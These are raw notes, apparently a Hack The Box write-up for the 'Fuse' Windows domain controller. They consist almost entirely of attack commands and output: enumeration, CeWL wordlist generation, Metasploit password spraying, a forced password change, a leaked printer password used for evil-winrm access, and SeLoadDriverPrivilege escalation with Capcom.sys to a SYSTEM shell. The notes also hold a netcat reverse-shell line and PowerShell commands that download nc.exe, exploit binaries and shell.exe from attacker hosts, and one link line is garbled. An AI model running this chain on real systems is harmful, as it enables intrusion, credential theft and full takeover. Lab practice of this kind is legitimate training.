CREATE WORDLIST WITH CEWL USING WEBSITE

SMBCLIENT PASSWORD CHANGE

RPCCLIENT

WINRM

SELOADDRIVER PRIV

```
PORT     STATE SERVICE     VERSION
53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp   open  http        Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-07-01 13:00:29Z)
135/tcp  open  msrpc       Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap        Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap        Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
```

```
9389/tcp  open  mc-nmf       .NET Message Framing

49666/tcp open  msrpc        Microsoft Windows RPC

49680/tcp open  msrpc        Microsoft Windows RPC

49698/tcp open  msrpc        Microsoft Windows RPC

49755/tcp open  msrpc        Microsoft Windows RPC
```

```
root@kali:/home/kali/Desktop/hackthebox/fuse# GetNPUsers.py fabricorp.local/ -usersfile users.txt -format john -outputfile hashes.txt -dc-ip 10.10.10.193 (DIDN'T WORK)
```

```
root@kali:/home/kali/Desktop/hackthebox/fuse# ldapsearch -x -h fabricorp.local -b "dc=fabricorp,dc=local"
```

(DIDN'T WORK)

http://fuse.fabricorp.local/

```
cat users.txt

pmerton

tlavel

sthompson

bhult
```

CREATE WORDLIST WITH CEWL

```
root@kali:/home/kali/Desktop/htb/fuse# cewl -d 5 -m 3 -w wordlist http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
```

MSF SMB LOGIN

```
msf5 > use auxiliary/scanner/smb/smb_login

msf5 auxiliary(scanner/smb/smb_login) > set pass_file wordlist

pass_file => wordlist

msf5 auxiliary(scanner/smb/smb_login) > set USER_file users.txt

USER_file => users.txt

msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS fuse.htb

RHOSTS => fuse.htb

msf5 auxiliary(scanner/smb/smb_login) >

msf5 auxiliary(scanner/smb/smb_login) > run

[+] 10.10.10.193:445      - 10.10.10.193:445 - Success: '.\tlavel:Fabricorp01'
[+] 10.10.10.193:445      - 10.10.10.193:445 - Success: '.\bhult:Fabricorp01
```

```
root@kali:/home/kali/Desktop/htb/fuse# smbclient -L fuse.htb -U tlavel
Enter WORKGROUP\tlavel's password:
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
root@kali:/home/kali/Desktop/htb/fuse# smbpasswd -r fuse.htb -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on fuse.htb.
Akg123456789
smbclient -L fuse.htb -U tlavel
Enter WORKGROUP\tlavels password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        HP-MFT01        Printer   HP-MFT01
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        print$          Disk      Printer Drivers
        SYSVOL          Disk      Logon server sha
```

Enumerating using rpcclient

```
rpcclient -U FABRICORP\\tlavel 10.10.10.193
Enter FABRICORP\tlavel's password:
rpcclient $>
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
```

```
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
rpcclient $> enumprivs
found 35 privileges

SeCreateTokenPrivilege                  0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege                     0:3 (0x0:0x3)
SeLockMemoryPrivilege                   0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege                0:7 (0x0:0x7)
SeSecurityPrivilege                     0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege                   0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege                   0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                   0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                   0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege                        0:16 (0x0:0x10)
SeBackupPrivilege             0:17 (0x0:0x11)
```

```
SeRestorePrivilege              0:18 (0x0:0x12)

SeShutdownPrivilege                     0:19 (0x0:0x13)

SeDebugPrivilege                0:20 (0x0:0x14)

SeAuditPrivilege                0:21 (0x0:0x15)

SeSystemEnvironmentPrivilege                    0:22 (0x0:0x16)

SeChangeNotifyPrivilege                 0:23 (0x0:0x17)

SeRemoteShutdownPrivilege                       0:24 (0x0:0x18)

SeUndockPrivilege               0:25 (0x0:0x19)

SeSyncAgentPrivilege                    0:26 (0x0:0x1a)

SeEnableDelegationPrivilege                     0:27 (0x0:0x1b)

SeManageVolumePrivilege                 0:28 (0x0:0x1c)

SeImpersonatePrivilege                  0:29 (0x0:0x1d)

SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)

SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)

SeRelabelPrivilege              0:32 (0x0:0x20)

SeIncreaseWorkingSetPrivilege                   0:33 (0x0:0x21)

SeTimeZonePrivilege                     0:34 (0x0:0x22)

SeCreateSymbolicLinkPrivilege                   0:35 (0x0:0x23)

SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)

rpcclient $>

rpcclient $> enumprinters

        flags:[0x800000]

        name:[\\10.10.10.193\HP-MFT01]

        description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: 
$fab@s3Rv1ce$1)]

        comment:[]



rpcclient $>

msf5 > use auxiliary/scanner/winrm/winrm_login

msf5 auxiliary(scanner/winrm/winrm_login) > set PASSWORD '$fab@s3Rv1ce$1'

PASSWORD => $fab@s3Rv1ce$1
```

```
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE users.txt

USER_FILE => users.txt

msf5 auxiliary(scanner/winrm/winrm_login) > set RHOSTS fuse.htb

RHOSTS => fuse.htb

msf5 auxiliary(scanner/winrm/winrm_login) > run


[!] No active DB -- Credential data will not be saved!

[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\Administrator:$fab@s3Rv1ce$1 (Incorrect: )

[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\Guest:$fab@s3Rv1ce$1 (Incorrect: )

[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\krbtgt:$fab@s3Rv1ce$1 (Incorrect: )

[+] 10.10.10.193:5985 - Login Successful: WORKSTATION\svc-print:$fab@s3Rv1ce$1

[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\:$fab@s3Rv1ce$1 (Incorrect: )

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


root@kali:/home/kali/Desktop/htb/fuse# evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i fuse.htb

*Evil-WinRM* PS C:\Users\svc-print\Desktop> whoami /priv


PRIVILEGES INFORMATION

----------------------


Privilege Name             Description                  State

============================= ============================== =======

SeMachineAccountPrivilege    Add workstations to domain    Enabled

SeLoadDriverPrivilege        Load and unload device drivers Enabled

SeShutdownPrivilege          Shut down the system          Enabled

SeChangeNotifyPrivilege      Bypass traverse checking      Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

https://raw.git https://github.com/mach1el/htb-scripts/tree/master/exploit-fusehubusercontent.com/TarlogicSecurity/EoPLoadDriver/master/eoploaddriver.cpp

```
root@kali:/home/kali/Desktop/htb/fuse# cat netcat.bat

c:\temp\nc.exe 10.10.14.71 2222 -e cmd.exe

echo c:\temp\nc.exe 10.10.14.71 2222 -e cmd.exe >> netcat.bat

*Evil-WinRM* PS C:\temp> dir



    Directory: C:\temp



Mode                LastWriteTime         Length Name

----                -------------         ------ ----

-a----        8/18/2020  12:04 AM          10576 Capcom.sys

-a----        8/18/2020  12:37 AM           6144 elevate.exe

-a----        8/18/2020  12:09 AM          15360 EOPLOADDRIVER.exe

-a----        8/18/2020  12:21 AM         275968 ExploitCapcom_modded.exe

-a----        8/18/2020   1:20 AM             42 nat.bat

-a----        8/18/2020  12:05 AM          38616 nc.exe

-a----        8/18/2020   5:05 AM            130 netcat.bat

*Evil-WinRM* PS C:\temp> .\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\capcom.sys

[+] Enabling SeLoadDriverPrivilege

[+] SeLoadDriverPrivilege Enabled

[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-
1104\System\CurrentControlSet\MyService

NTSTATUS: c000010e, WinError: 0

*Evil-WinRM* PS C:\temp> .\ExploitCapcom_modded.exe

[*] Capcom.sys exploit

[*] Capcom.sys handle was obtained as 0000000000000064

[*] Shellcode was placed at 0000019174CA0008

[+] Shellcode was executed

[+] Token stealing was successful

[+] The SYSTEM shell was launched
```

```
[*] Press any key to exit this program
```

```
root@kali:/home/kali/Desktop/htb/fuse# rlwrap nc -nvlp 2222
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.71/nc.exe','C:\temp\nc.exe')"
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.107/Capcom.sys','C:\temp\Capcom.sys')"
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.107/EOPLOADDRIVER.exe','C:\temp\EOPLOADDRIVER.exe')"
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.107/ExploitCapcom_modded.exe','C:\temp\ExploitCapcom_modded.exe')"
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.107/shell.exe','C:\temp\shell.exe')"
```